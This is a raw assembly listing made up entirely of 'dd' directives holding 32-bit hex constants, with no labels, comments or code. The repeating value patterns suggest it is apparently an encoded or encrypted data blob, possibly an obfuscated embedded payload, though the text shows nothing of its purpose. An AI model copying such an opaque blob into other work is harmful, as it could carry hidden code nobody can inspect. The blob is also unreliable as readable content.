		dd 383D56BAh, 0B132565Dh, 49D5D6CFh, 0B0B459A2h, 443256ABh
		dd 30C9D7B3h, 0F8B65902h, 0BE325674h, 0B1325B33h, 0B13ABF5Dh
		dd 81DE56AEh, 5C19FF37h, 0A5DB924Dh, 0C93256D5h, 2AC70BE3h
		dd 7AAFD1B0h, 4B124A29h, 10199BBFh, 0D7A06ADFh,	3E3D48DCh
		dd 0B13256ACh, 29EFD6B5h, 31538160h, 5952A692h,	0B13256B4h
		dd 48ECC15Bh, 44A36BC6h, 303B3210h, 52B35E98h, 0FA5868FAh
		dd 0B13DBFB0h, 0A7F85675h, 0E7D4990Eh, 1C10FEFAh, 0BDD15C31h
		dd 305437CCh, 0BEF2D750h, 0B1329951h, 0BFB459EAh, 58325675h
		dd 0B13256B3h, 7391B175h, 0A430B386h, 0D1523613h, 0E74A62Bh
		dd 82F2C4FBh, 3B52378Bh, 498D59ADh, 0BFDB03DBh,	0BC32565Dh
		dd 825BC5A8h, 3DC3F987h, 67DD8658h, 28A0A928h, 0BE34647Eh
		dd 0B1325CFDh, 0B137BFBAh, 2AC4565Dh, 0ECB1D262h, 0A7893037h
		dd 0B139BFF1h, 166356D5h, 9F7150D7h, 3140049Ch,	383D376Dh
		dd 0B1325651h, 0B1325147h, 0A81CA557h, 5BE3C7AAh, 58CE135Ch
		dd 0B13256E2h, 0BFB33CBDh, 9B59DF76h, 0BFDBAF3Ch, 253256AEh
		dd 0B3608F53h, 77908C27h, 270DBA65h, 4D4FD5CFh,	0C2B75974h
		dd 0D13256B8h, 0B126BE3Dh, 1DA856AEh, 2C8A54D1h, 88DE1CEDh
		dd 0DF079E61h, 0D02EB489h, 26AF56Eh, 0B8D370Bh,	0D068BF21h
		dd 9087EC25h, 5852507Bh, 0B13256BAh, 2A8AA614h,	0E3FFE594h
		dd 6CA2541Bh, 0EBDC8AFDh, 0B138BF30h, 66A556AEh, 348B9A49h
		dd 0D209F80Fh, 0B8DB06B4h, 8A3256EAh, 0A3113BF4h, 0DCC5EEB6h
		dd 4BB9303Dh, 0F3B0DDCFh, 0D13464C1h, 0B1325342h, 88EB6BD5h
		dd 0E48C7075h, 0D0537D63h, 810E6F42h, 0D5F8ED3Dh, 0BE6175DBh
		dd 0B13256D4h, 0E95308ABh, 0B0EED4DAh, 3ACB56EAh, 9D3757CFh
		dd 3E3D36BCh, 0B132565Eh, 3A39942Eh, 58623789h,	0B13256BFh
		dd 0B2C2A438h, 0C2A98D71h, 0EE768716h, 628D27D8h, 619EFA75h
		dd 2770D425h, 88C75065h, 0E9C76697h, 0B0AED9DAh, 3B3D56EAh
		dd 0B1325674h, 0B172BF43h, 76CB565Dh, 0B130AEEBh, 333D5657h
		dd 0B13256ACh, 7EB330B5h, 585323EFh, 0B1325653h, 0B138DBB5h
		dd 0E152565Dh, 80E3D7F6h, 0D0067AC4h, 0B0CA136Ch, 0D13256D5h
		dd 0B131DEE5h, 63D5675h, 1E893044h, 0BB93702h, 0B700C283h
		dd 0B13258BEh, 0B95CCEABh, 0C775C1A0h, 0A1221EE8h, 3A9250FDh
		dd 0B122BFA5h, 56B4565Dh, 0AD69830Fh, 0C9303Fh,	7FE5D174h
		dd 0BEDB30C5h, 0D63256EAh, 44D4EAF1h, 0F538E04Ch, 0BE7D07C3h
		dd 6A396C2Bh, 0B036D258h, 3A5256ABh, 68B9302Eh,	0BEEC6D8Bh
		dd 0B13221F0h, 0B121BFBAh, 2474565Dh, 0F8FA9EDFh, 41E89C31h
		dd 4629410h, 0F6FEFA1Dh, 0ECB9AFFFh, 0E3D3679h,	0B139BE64h
		dd 9538565Dh, 0AEAA7664h, 4A953929h, 0FAF0D76Bh, 0EA63B181h
		dd 494FD58Bh, 95B65975h, 0D13256BAh, 353D90D6h,	0B13256A8h
		dd 0B132DD58h, 0B25356ABh, 0BDDBAE88h, 4B3256EAh, 20E7E1FAh
		dd 0CAB05BE7h, 38C664F2h, 0BE5252F1h, 0B13254D7h, 0D75336ABh
		dd 4853985Eh, 58269169h, 0B132567Fh, 3B1DAC8Dh,	55FB917Fh
		dd 81DB89FBh, 0BECDA9A8h, 0B1324F2Dh, 0A2B359D5h, 583256EAh
		dd 0B132567Bh, 241BF39Bh, 63A91A37h, 4FDC0EA4h,	71016E29h
		dd 0D05236CBh, 35C2D7B3h, 0BDDA37ABh, 53325675h, 42CF5F62h
		dd 5F63190Eh, 588BD01Bh, 0B1325645h, 2BEFA32Ch,	232C5387h
		dd 0C3C03142h, 6B4CD15h, 0D0688EA8h, 0B13623B4h, 0B13ABFAEh
		dd 0DA7A5657h, 1F0FE910h, 3A54FD67h, 0CCB9A3F4h, 0B13BBF79h
		dd 0DC7556BAh, 0E9A566C4h, 315C7E5Bh, 353DBDACh, 0B13256E7h
		dd 888636B5h, 0D753378Ah, 1C309FF4h, 41D1D6DBh,	0C1C9D6A4h
		dd 0B1B5D2A1h, 3525657h, 0BDDB36BEh, 5D3256D5h,	0DC5320BEh
		dd 8F0B5076h, 30A2A6D3h, 318B42AEh, 0D15337BBh,	0C19336E9h
		dd 54DB3785h, 0D13256D5h, 0B133DDE5h, 0D0CA5675h, 58DB517Ch
		dd 0B1325656h, 87E4F05Ah, 1927884Ch, 76C2D4EBh,	0B1325792h
		dd 303D56EAh, 0B1325678h, 0B1325E53h, 849D025Dh, 3DAB4715h
		dd 44F5DDCCh, 0D1379628h, 0B134D9DAh, 3E3D56EAh, 0B1325675h
		dd 58536309h, 0B13255EBh, 0B135D1A1h, 393D5657h, 0B13256AAh
		dd 0B6F53029h, 0BBDB5EE5h, 40325675h, 3D0A0BF0h, 69D1A035h
		dd 0B5B459CEh, 0D1325657h, 3B5337CBh, 0B0B559CBh, 493256EAh
		dd 4D3DB5F5h, 0D1B29D3Ah, 9EF9D73Bh, 60855982h,	0B06DDE36h
		dd 0B1324442h, 122178D5h, 376083A4h, 0ECA97BADh, 0F9836C25h
		dd 76D62724h, 0B13254E9h, 0D1525657h, 0B1325A42h, 26CF9D5h
		dd 222C42C7h, 9C546494h, 3A5337D3h, 71B1AF9Ah, 9EDBAAA8h
		dd 58325654h, 0B13256A3h, 0A9F9B2C2h, 7FF17144h, 210CD713h
		dd 0D8B6592Ah, 4432565Dh, 0BEA2682Eh, 0B13220D2h, 0B0B459ABh
		dd 4D3256D5h, 0B1324403h, 0B665A275h, 220ED66Bh, 0A6603A22h
		dd 2CF5E093h, 0D7E8FCDCh, 21CD282Ah, 84B65945h,	583256EAh
		dd 0B1325665h, 0A845DD32h, 0D096E055h, 5C866ABDh, 954EDCDEh
		dd 0B1326442h, 0A4B059D5h, 583256EAh, 0B1325665h, 63066A29h
		dd 125F5780h, 80126F6Eh, 24F3ED52h, 303D9120h, 0B13256DCh
		dd 33D6D68Ah, 27DCEC13h, 0B3AABFDBh, 3CC7565Dh,	83A4A62Ch
		dd 0B122BF51h, 40856ABh, 2C8C127Fh, 0C09D0616h,	8ADA08B7h
		dd 5862BAEFh, 0B132564Ch, 3E303116h, 0B7CEDD98h, 94650407h
		dd 474196C8h, 0B9DB007Eh, 75325675h, 33090969h,	4EA988B4h
		dd 83A6933Ch, 7139AA51h, 0B10CD2A4h, 3AC756D5h,	0B13FBF22h
		dd 30645675h, 0C70656F8h, 6B88065Ch, 3CAE12EEh,	83A4A6E5h
		dd 0B120BFADh, 66DB56D5h, 0D43AA81Ah, 9F826E04h, 487F2DA2h
		dd 0A5ECEE60h, 0B1329E47h, 0B0B95957h, 493256ABh, 353D3683h
		dd 0B13256E8h, 3A5450C1h, 7FB9377Dh, 0B13244B4h, 8E0227AEh
		dd 0BB58D55Dh, 0EF1306Bh, 0E0955320h, 0E4CCBC1Ch, 0B137BF15h
		dd 0BA8F56BAh, 0BE886198h, 0B1325024h, 5BC2D757h, 0D04F0B8Dh
		dd 25ABC42Ah, 0D75250D8h, 0B72A87F4h, 50B330DAh, 0D0536E8Fh
		dd 0BC8B36F3h, 0BE50D029h
		dd 0B1325425h, 0D0ECDDD5h, 0B127DDE5h, 0A1DB5675h, 563256BAh
		dd 1B37B011h, 6E891DDAh, 0FFCE4576h, 9A8E0F13h,	0B135BF1Bh
		dd 574556EAh, 8DE33D7Bh, 0BEEBA1C8h, 0B1325ED6h, 0B3B559AEh
		dd 0D1325657h, 0D15208CAh, 0B132453Ch, 0FA62AEEAh, 9C5E2642h
		dd 0B7F98C7Dh, 230A656Ch, 220DD95Ch, 9626CECh, 65B8379Ch
		dd 494FD5B4h, 10B759EBh, 0BE325675h, 0B132533Ah, 63D365Dh
		dd 0F8823776h, 0BDDBFCAFh, 0DD3256ABh, 0B076058Fh, 16C7A7FCh
		dd 0D71C9FB4h, 58B75902h, 0B1325653h, 0F366FE17h, 0FB3AFB02h
		dd 0A547C935h, 0D7CA8B33h, 0B6DBA341h, 9C325675h, 0E391E1D7h
		dd 73D31C9h, 85257E8h, 93803C4Eh, 0B1325143h, 16D74D5h
		dd 621DAF85h, 5432E813h, 0BE9937E2h, 0B1325ED2h, 0B3B159AEh
		dd 0D1325657h, 0B1F7BFCAh, 0BE5256D5h, 0B1325366h, 69B33075h
		dd 595249ACh, 0B132564Eh, 9AD22F07h, 0CAC8FD7Dh, 703C8A4Ch
		dd 95998A27h, 0EFFDF63Fh, 0D0539AFFh, 0B3CA2B39h, 0B1BCD352h
		dd 3D3D56AEh, 0B132565Ch, 0B1325042h, 0F9D041D5h, 0D7D6219Ah
		dd 0D1FB5DCDh, 0B131D5B5h, 3A54565Dh, 1A54377Eh, 0B1325FBEh
		dd 0D436F6ABh, 41A81D60h, 954BD11h, 0E152D27Ah,	0D76B37DAh
		dd 0B1BF91DCh, 0D19930CFh, 8F1D7AFh, 0D04F531Ch, 0B074E0DAh
		dd 0B13CD3E5h, 0B8DB5675h, 953256BAh, 0D2B7E821h, 21431B2Dh
		dd 0B13BBFFCh, 879456ABh, 5DDD907Eh, 589C7F86h,	0B132566Eh
		dd 0B1324453h, 7FC9735Dh, 9A708C02h, 0BE5EBC1Bh, 7C336BF3h
		dd 49CE821Dh, 3AC7F219h, 4869AEB2h, 0B122BFE3h,	0BFA6565Dh
		dd 0E5210F07h, 0CD41D098h, 3D87FA54h, 0D16C6722h, 0B1325E03h
		dd 5FFCBB75h, 0C4A62EEEh, 0B7B55926h, 0BE3256AEh, 0B13256D2h
		dd 0D16D37ABh, 31E79955h, 4453B222h, 0E3D36BCh,	0EC8A304Ah
		dd 0B9F03741h, 0B120BFAEh, 35575657h, 976DFE91h, 445AB77Ch
		dd 439E7052h, 0E9032B6Ch, 0B0B959EFh, 4832565Dh, 0BEDEDD56h
		dd 0B13257D0h, 5852A3ABh, 0B13256DBh, 0BAF1C411h, 0B7A0AE6h
		dd 9AB8A8D8h, 0B1DAE789h, 0EB3256AEh, 7513BCD6h, 0BECB5099h
		dd 0B132515Ah, 0B0BB59EAh, 48325675h, 0D1C2DDDAh, 91FAD6A1h
		dd 305237CFh, 4AC3D48Ch, 0E3D06B4h, 3A530922h, 44525EAFh
		dd 0B1B15915h, 0BE3256BAh, 0B13256D1h, 385337AEh, 83A600D5h
		dd 0BE53AEADh, 0B1325759h, 78C7AAEAh, 7AC1D715h, 0D753178Dh
		dd 398C99DCh, 0B13694CFh, 0B133DC58h, 0BECA56ABh, 0B1325757h
		dd 0D167A3EAh, 0A2C9B7F4h, 0D15217D2h, 0D0ECDD3Ch, 48DEDDCFh
		dd 0BECA92D4h, 0B1325729h, 5852A3D5h, 0B13256E7h, 467E50E9h
		dd 0BE216CCBh, 60670824h, 0B132BE48h, 30685657h, 83F69241h
		dd 3A5436D3h, 0B1BE592Ch, 0D0325675h, 0B1325153h, 0FD66C45Dh
		dd 0F7DB8CF3h, 0B133D758h, 76CA56ABh, 0B132AE90h, 333D56EAh
		dd 0B1325678h, 0B1325E53h, 0EAE51C5Dh, 0D7C3FF38h, 4D7791B5h
		dd 0B13256ABh, 0EEE4D7B5h, 3A3D35DAh, 71013782h, 487AEEDAh
		dd 0BFDA02E7h, 0FA3256AEh, 0AC94DB19h, 4985EA68h, 20DEB486h
		dd 498D597Ch, 0D7CE372Eh, 363D4831h, 0B1325647h, 595336CEh
		dd 0B1325647h, 1498CA97h, 0F11A21B1h, 0E77D74E8h, 64A1A43Bh
		dd 33F537E2h, 0B700C01Fh, 0B13256AFh, 4AB93037h, 0FD25B12Ah
		dd 0D753472Dh, 21A2AD6Bh, 0B12AD37Ah, 0A2DB56BAh, 4532565Dh
		dd 82BCF6E0h, 1BD0CF58h, 18C8B7E0h, 0EEC89158h,	4AB21272h
		dd 29B6599Dh, 0BE3256BEh, 0B13257D7h, 0BE72AAAEh, 0B13251DEh
		dd 0D7C736ABh, 0D082C26Ah, 0BEDBAD6Ah, 0B1362CF1h, 0B13DBFBAh
		dd 4E1565Dh, 53671FE7h,	61494BD9h, 81630FECh, 31CE168Ah
		dd 353DBD11h, 0B132522Eh, 0B13DD4B5h, 0BBDB565Dh, 3256AEh
		dd 0D270B416h, 838BC5BDh, 0B122BFFBh, 457356EAh, 0D19C6D3Eh
		dd 0B0D916BDh, 26F2372Eh, 0D1727C46h, 56C0D731h, 0B7B95947h
		dd 0BE3256D5h, 0B1325666h, 56B23775h, 73B9364Ah, 8CC2D73Bh
		dd 30543718h, 0BEB259ACh, 0B136502Fh, 0B137BFD5h, 75C156EAh
		dd 0B2AED826h, 9D291F38h, 0A5DA365Bh, 0C13256AEh, 0A1EAA543h
		dd 632C932Bh, 5EDD495Ah, 405C65D5h, 0BEBDB648h,	0B1325638h
		dd 0E2650C5Dh, 0F1530FF4h, 0B1325FBEh, 53B8B9ABh, 302305E8h
		dd 4AB23481h, 1B65997h,	583256B9h, 0B1325650h, 0FECA1516h
		dd 654E4C7Bh, 0F04AC1FBh, 52C9D63Eh, 0B240D2E5h, 0D7CB5675h
		dd 5255AD3Bh, 0B2BBD252h, 31CE56AEh, 0F52A6B4h,	0A3442D87h
		dd 4B1EECB3h, 0BDBE598Bh, 0BE325675h, 0B1325037h, 0B1BD595Dh
		dd 313256AEh, 353D26ACh, 0B13255CCh, 0AFB93029h, 6BB9308Ah
		dd 0B130DC7Ah, 6FB956BAh, 49D1D63Ch, 0B8D4D7CEh, 0D0454782h
		dd 0BE8AAD2Bh, 0B133CD51h, 0BDDA36EAh, 17325675h, 0B328E40Dh
		dd 0EBBC3FD9h, 0BE2C2C23h, 58698FE0h, 0B13256BBh, 69D09110h
		dd 0E2C1ABE3h, 4DC073Ah, 0D95DEF3Ch, 0B40CD63Ch, 0B054D2A1h
		dd 0BADB5657h, 0F53256ABh, 5D8FC54Fh, 7A2785B0h, 8FB21EFEh
		dd 0FCB65997h, 0D132565Ch, 0B134D6A1h, 363D5657h, 0B13256ABh
		dd 0B131D7DAh, 63D56EAh, 8FB237B5h, 9CB659D2h, 0BE32565Ch
		dd 0B132572Eh, 4472AE57h, 2770D454h, 353D50E7h,	0B13256EBh
		dd 0AFB93089h, 0B133DDB5h, 31CB565Dh, 5852AE49h, 0B132565Bh
		dd 54598489h, 75506E76h, 4382DA0Ah, 0B120BF14h,	4AE56BAh
		dd 0DDDA0F21h, 4057DEABh, 21A249BDh, 8A821D50h,	30C9D7B3h
		dd 64B65902h, 4D325675h, 482CDDDCh, 0BECB363Dh,	0D053A011h
		dd 0D1C2B1D7h, 0B131D7A4h, 3A5456D5h, 30543714h, 0BEF2D78Eh
		dd 0B132F93Eh, 0D0CE365Dh, 0BBB959CEh, 0D1325657h, 0B132DBA4h
		dd 0E96056D5h, 0A8B2598Bh, 0BE325675h, 0B1324535h, 0B13CBF5Dh
		dd 9EE56AEh, 7E8D2B70h,	4C31C490h, 23A757E0h, 0B0BF59BFh
		dd 48325675h, 25ABC445h, 0ECCA506Fh, 0B1325947h, 921EF057h
		dd 0F20BE3E8h, 5935AE9Eh, 1C567D90h, 0B126BE15h, 991A56BAh
		dd 1C8A6476h, 1F930883h, 6C9C7879h, 0F679962Eh,	63B3C33Fh
		dd 0F6478CABh, 0B1BD592Bh, 0D03256BAh, 58CE13D4h, 0B13256A0h
		dd 60DB0946h, 8C890739h, 432BA7A7h, 0BE5379EEh,	0B13257FBh
		dd 32CAAABAh, 0BE33AA20h, 0B137092Bh, 28A3657h,	0D05A6583h
		dd 9087EC5Eh, 373D50C6h, 0B1325672h, 0B133D5B5h, 0E1CE565Dh
		dd 0B13ADEA1h, 313D5657h, 0B13256A9h, 33B937B5h, 0B700C0A8h
		dd 0B1325F9Ch, 434F36BAh, 0F9407CBDh, 8D0B764Eh, 0BE6AA367h
		dd 0B1374129h, 0B139BFD5h, 0D85456EAh, 87FBEFFDh, 0AC6FB71Eh
		dd 0B088DD55h, 58347AABh, 0B132565Ch, 3AEB2A1h,	54A22D4h
		dd 58D70B53h, 0B1325666h, 8703E598h, 0FBAC9981h, 305E72FAh
		dd 7140C4EFh, 0E1BAC495h, 0F8F2D7B5h, 3A63901Fh, 33B937A4h
		dd 0B700C0F8h, 0BDD5D73Dh, 0BE0239A1h, 8853AEE0h, 0BEDB6697h
		dd 493256D5h, 0A876FDD6h, 5CF623BAh, 0B56BE623h, 0BE6A42D1h
		dd 0B136C921h, 0B13ABF57h, 57C056ABh, 0E66E0686h, 0BB96F55h
		dd 0B700C246h, 82B0D542h, 0A53464C9h, 0B125D6A1h, 0A3DB5657h
		dd 5E3256ABh, 9EFB8668h, 836D02C9h, 0A49A66B1h,	0FF19E268h
		dd 4905DF70h, 0BE221127h, 0B13245D1h, 0B13CBFABh, 6D8056D5h
		dd 74ED6981h, 0EFC698A6h, 6AA64050h, 0B0B7590Dh, 443256AEh
		dd 2770D4DCh, 393D5099h, 0B13256C5h, 0B1325D03h, 4EFCDA75h
		dd 928A3E74h, 9CA15CF2h, 0D1024A25h, 0E9DBD731h, 41B93006h
		dd 0BE520EB4h, 0B132406Eh, 0B123BF75h, 4A5356BAh, 0ABBB8B97h
		dd 23F2A019h, 289EB53Dh
		dd 0D7604F3Ah, 38538F5Eh, 0B4DB5EB5h, 3A325675h, 4BC9E765h
		dd 0B131B5B4h, 0B0B459AEh, 4D325657h, 0B3CA136Ch, 583256D5h
		dd 0B13256FBh, 18F2E556h, 0B630F971h, 0F0BC888Fh, 34F9790Fh
		dd 0B13BBFB9h, 76CB56ABh, 0B133AE90h, 3ACE56EAh, 83A665CFh
		dd 0B139BFBCh, 474A565Dh, 94D43ADDh, 0F0488831h, 82B0D53Eh
		dd 0A5346441h, 0B1324603h, 93E4DC75h, 65E7F661h, 44998D16h
		dd 7D7B68B7h, 86BBAE85h, 0B1325D42h, 4E4E25D5h,	46BEE346h
		dd 0C3D80444h, 0BE221133h, 0B1325AD6h, 0B135BFAEh, 1FEC5657h
		dd 867C03A6h, 0B2CAD528h, 0B11ED3E5h, 0D7525675h, 848DA631h
		dd 0D07FE92Eh, 2770D469h, 0B1305065h, 0BCDB56ABh, 0A83256D5h
		dd 0DFBDEDF1h, 0EB9B7720h, 0FAFAECD4h, 0B1325DB4h, 49B1A3AEh
		dd 97BF5955h, 493256A9h, 0B1CA2B56h, 0B1F8D2E5h, 383D5675h
		dd 0B13256B1h, 0B13250B4h, 0D5DE71AEh, 0BEE164CBh, 0BE33101Dh
		dd 0B1324254h, 0BFBA59EAh, 58325675h, 0B13256B3h, 0EBA2DFFEh
		dd 9E15AC51h, 0B1B2FF26h, 343D56ABh, 0B1325684h, 0B1325F03h
		dd 2F09275h, 37375CEBh,	58720BD4h, 0B13256BDh, 8BA2FFB0h
		dd 2C3D0187h, 3BF66A16h, 0D85E7AC3h, 32B60833h,	0BBDB5352h
		dd 5B32565Dh, 6DBB21D5h, 1181555Fh, 0B10DBFD6h,	0BFDB56D5h
		dd 0BC3256EAh, 49BCC1C3h, 5AA5DF4Ah, 5A4CD523h,	0B1CD7BD9h
		dd 0BCDB5657h, 0C33256ABh, 0B0A2409Bh, 9EF5BE40h, 0D5A801E4h
		dd 0BE37BE39h, 0B1325AD4h, 305436AEh, 0B8831B5h, 0F4A9D0DBh
		dd 0B154BFB4h, 3E3D56EAh, 0B132567Dh, 0B1BF59DAh, 0D032565Dh
		dd 0B8B059FDh, 0D1325657h, 0C38B37CBh, 0D0562B2Ah, 0B133D0E5h
		dd 3ACA5675h, 83A41420h, 0B9B8595Bh, 0D13256AEh, 0B5400E7h
		dd 3A533DD8h, 0EACB65D1h, 0B1324203h, 0A8815C75h, 62FE2E66h
		dd 679D09FAh, 51522713h, 0BEF1A0DFh, 0B138BF02h, 0A12F56D5h
		dd 158388B5h, 0D1DDDCAFh, 0B1325613h, 0CDB759DDh, 583256AEh
		dd 0B1325646h, 0A5F5913Bh, 6FF3149Dh, 962CD609h, 36B8046h
		dd 0D1F45586h, 0B131D552h, 3A5456AEh, 0D0FADD9Ch, 58379628h
		dd 0B13256DCh, 0C10DE00Fh, 69F71491h, 0F3B05518h, 583464CBh
		dd 0B13256ABh, 5A90E7E3h, 0D17AAFF0h, 89F1EEB3h, 0F6BB3712h
		dd 0F6BBAA7Dh, 0B137BFB6h, 5E2E565Dh, 5841B7CCh, 0B132572Bh
		dd 0B123D2A4h, 0BDDB56D5h, 453256EAh, 0E4404F04h, 0A8273FE7h
		dd 46108843h, 30543676h, 0D7E156BDh, 9A538720h,	0B9B25913h
		dd 0BE3256EAh, 0B13254F0h, 465336BAh, 71B1AA85h, 3331AAABh
		dd 0B700C015h, 38C71E57h, 58525E92h, 0B13256E3h, 38061F43h
		dd 662154B9h, 0B13DBFB7h, 0B91256AEh, 0EF3C95B0h, 3DD4F3F7h
		dd 4EC4DA2Bh, 0F6BB378Ch, 0B8DBAA79h, 0BE3256BBh, 0B13257D1h
		dd 0BBDBAFAEh, 0F5325657h, 4F8A8B98h, 4679C6D5h, 4DF2654Ch
		dd 0BE3310FFh, 0B132513Eh, 0B0B8595Dh, 4D3256AEh, 343DD6FFh
		dd 0B1325628h, 0B133D6DAh, 0B2CA56EAh, 0B138BFB3h, 685A56BAh
		dd 80700EE3h, 0A1D75099h, 483096D4h, 0B1325710h, 5CA36D5h
		dd 6A393744h, 0B11CD27Ah, 0A0DB56BAh, 8132565Dh, 62A22E4Eh
		dd 0D2D97CBCh, 68D31E62h, 8A089FC0h, 6611CC60h,	31CA5044h
		dd 0BE525759h, 3F3D81E2h, 0B13256ADh, 0D0C1E958h, 0B7DB95A8h
		dd 303256D5h, 0CA697C11h, 0B975DFD3h, 0B133D9B5h, 38C7565Dh
		dd 3A525AE9h, 0D0EDDDA0h, 0B164BF57h, 46C756D5h, 0B9BE5932h
		dd 0D1325675h, 7618EFDCh, 945337EAh, 0B1325651h, 0B13246BEh
		dd 0A09261ABh, 90411765h, 670F2135h, 6E43D486h,	44F47DFDh
		dd 32CA8EAAh, 0BECE546Eh, 0B13246DDh, 0B139BFABh, 0BE5256D5h
		dd 269431E6h, 3AB4C10Bh, 0B975DF7Fh, 4D53AA3Dh,	443E1127h
		dd 4853AEAFh, 0B9B45962h, 0BE3256D5h, 0B1325468h, 72533675h
		dd 0B12ED7B5h, 303D565Dh, 0B13256B8h, 0B13247BEh, 0D39008ABh
		dd 7B0AED83h, 985F8116h, 0C58BA98h, 58678287h, 0B1325651h
		dd 5CE8CF39h, 0EC5B8308h, 0AAC0103Eh, 333DBA5Eh, 0B13256FEh
		dd 0B132599Ch, 89CDFEBAh, 485BFFE3h, 0B6EF86FFh, 6A8694A0h
		dd 48CE9228h, 0BDBD59B5h, 583256EAh, 0B1325672h, 3829ADDh
		dd 58122D90h, 0B13256A6h, 2F3E772h, 65AED035h, 0B132563Dh
		dd 5BB30CEAh, 0B700981Ah, 0B1324753h, 2DA11D5Dh, 0C37770FDh
		dd 0A88FB8BEh, 5609745Dh, 323D62C9h, 0B13256EDh, 0D722E115h
		dd 0D1539431h, 0B1325AB5h, 0A286CCAEh, 0DB759D56h, 0B85B4FEDh
		dd 0B123BF09h, 5A556EAh, 43D27C2Bh, 0DB92DC9Fh,	75D21A74h
		dd 0E829AAC0h, 0B134BF04h, 1FA856ABh, 0EB559644h, 0BB937B5h
		dd 0B700C258h, 58FB6546h, 0B132564Eh, 80AB5AE7h, 3107846Bh
		dd 0A7E4901Bh, 27F0AFFDh, 323DD9A8h, 353D564Ah,	0B13252C7h
		dd 4835DDA8h, 443E2351h, 483A23A8h, 585236FBh, 0B13256C5h
		dd 1F9C772Ah, 95BEE228h, 0DD34EA9Eh, 0A8F83936h, 0B3BB59CFh
		dd 0D1325657h, 12DA37CAh, 4D3256DCh, 343D96E1h,	0B132564Dh
		dd 0B13ED8B5h, 0B6DB565Dh, 9C3256AEh, 33FD46FAh, 0B6B9D41Eh
		dd 0D0E5DDB5h, 0B139D3E5h, 0BE525675h, 0B1325634h, 0C8D2D65Dh
		dd 0B171BFCFh, 0B4DB5657h, 0E83256ABh, 0FAB5C5F1h, 0BE269169h
		dd 0B13241F8h, 0B120BFBAh, 0B1CE565Dh, 61937E80h, 0D43779Ah
		dd 0AFADCF6h, 0D46F3EFh, 4ECD0803h, 0B13DBF8Ah,	142556BAh
		dd 1AC82D52h, 0B16AC04h, 94B726D1h, 4D77DF28h, 0BD47A929h
		dd 0B121D0E5h, 8525675h, 0C21744CFh, 0B13251B4h, 5ED310AEh
		dd 1C2E5806h, 0B947A9CAh, 0B1325D3Ch, 2CA3C3EAh, 0F6E7F390h
		dd 0D660CA3Eh, 59C761A2h, 0B1325E40h, 0B13ED458h, 353D56ABh
		dd 0B13256D3h, 0B132DAE5h, 71395675h, 0B110D2B5h, 333D565Dh
		dd 0B13256B8h, 0B122DA58h, 0BADB56ABh, 9E3256D5h, 71112D2Ch
		dd 817087CCh, 0EBDBB75Ch, 4932565Eh, 0D1CE1325h, 4452B4DDh
		dd 0B1324643h, 5CE52AD5h, 6B0FC5F0h, 0FC2F163Ch, 566502E1h
		dd 0D0530D25h, 333D5197h, 0B1325566h, 4D77A957h, 6BB930B5h
		dd 6F132350h, 0CEB13745h, 353D56BEh, 0B132561Eh, 0B1325C47h
		dd 8CD7F357h, 0FF2402E7h, 3203DD67h, 0BE325A95h, 0B1327CF1h
		dd 8B8336BAh, 4D5237A1h, 0B1325C47h, 0F72C257h,	0BC5BF3CAh
		dd 0D0C22A83h, 0B1323503h, 0B0B75975h, 483256BAh, 0B133D652h
		dd 9C756AEh, 4ECDA9A8h,	0B12BD5A4h, 0BE5256D5h,	0B1325663h
		dd 0B13EBF75h, 611A56BAh, 2C755297h, 4F31B3A5h,	853506Eh
		dd 0B13256AEh, 0B132463Ch, 8E3162EAh, 156B4692h, 5A3E0578h
		dd 0E0D5E040h, 4999A518h, 4ECC92BEh, 0B8B35954h, 0D13256D5h
		dd 0EF6B46Bh, 0D0CA1727h, 0B4222939h, 0B1A0D252h, 323D56AEh
		dd 0B132565Eh, 0D76D04CBh, 0CC3B8D54h, 0A14DD58Bh, 19B75973h
		dd 583256BAh, 0B132564Ch, 4AACD84Bh, 3344911Eh,	9E9B6ABDh
		dd 3E236F56h, 0A1DB178Eh, 42325675h, 178B099Bh,	71F464DCh
		dd 0BD03DFECh, 3A7423B6h, 0A5DB52ECh, 473256D5h, 664DD2A2h
		dd 53C6FC3h, 14C1995Dh,	5537B64Eh, 3A45962Fh, 0B9DB5A08h
		dd 953256ABh, 3452AA98h, 58DF40BFh, 0B13257D7h,	0B813EDDAh
		dd 3A54309Ch, 373D3759h, 0B132565Bh, 7AB330CBh,	218B9B7Ch
		dd 0D07494ADh, 0BE3611FEh, 0B1325138h, 0B0B4595Dh, 443256AEh
		dd 0BE3E09DCh, 0B1325C2Eh, 0B137BFD5h, 7F456EAh, 589DC2AFh
		dd 0B13257F0h, 0B133DF52h, 3AC756AEh, 0A5DB5210h, 0EF3256ABh
		dd 3378E2A6h, 0B8D5C848h, 0BBD06FE7h, 98C76D72h, 0BEDB02D8h
		dd 0B1324024h, 0A1B45957h
		dd 583256ABh, 0B13256DEh, 4AC9678h, 9DA819C3h, 3A493E0Dh
		dd 343D5A02h, 0B13256BDh, 0B13258BEh, 76B519ABh, 6EBF581h
		dd 0D5EA0105h, 8ACF520Dh, 343D5EE5h, 0B13256DFh, 0B1325C47h
		dd 1CEB1F57h, 0B3FDC6AFh, 0E3AAEB32h, 0B1325A03h, 0D8486075h
		dd 938D2CAEh, 2CBC34B7h, 0B565DDE2h, 0BE60E037h, 0B132542Ch
		dd 0D05336D5h, 0D12203C1h, 70367FCDh, 312AECCCh, 0B2535298h
		dd 3ACE42FBh, 9ACE5A08h, 0B13ABF71h, 29B656D5h,	118687D9h
		dd 5AB19F01h, 0B123BFBFh, 8469565Dh, 254C1431h,	0D028BD74h
		dd 5EC71F82h, 0EB6DA930h, 0B173BF13h, 0B6DB5675h, 183256BAh
		dd 340CEB98h, 0F6B9E74Dh, 0EEB9AE53h, 0B6BC59A7h, 0BE3256D5h
		dd 0B1325763h, 0EE19A375h, 56536BEh, 63D08E7h, 5AB1377Ch
		dd 63D3652h, 3B31376Bh,	0B71E4C84h, 0D7E1DD8Ah,	3253ADFEh
		dd 0BE3146C5h, 0B13273D8h, 0B13EBFAEh, 0A2EB5657h, 0C0D4F7Fh
		dd 80BE5935h, 58731333h, 0B132567Bh, 4F3FD761h,	0C9D45F5Eh
		dd 6D558408h, 681961D9h, 0B13EDBA4h, 3B3D56D5h,	0B13256ECh
		dd 0B132D27Ah, 0EDBB56BAh, 323D575Ch, 0B13256A6h, 0B130D158h
		dd 0D05256ABh, 4ECDA96Dh, 0B138BF15h, 4A3D5675h, 44476012h
		dd 0A6C711Eh, 0B1325B47h, 29745D57h, 9ADFDFEh, 0EA41C545h
		dd 0B48B34A8h, 49325675h, 58CAFD49h, 4ECDAA10h,	0B121DEA1h
		dd 333D5657h, 0B13256A6h, 0B1325E3Ch, 0FAAF51EAh, 0B222437h
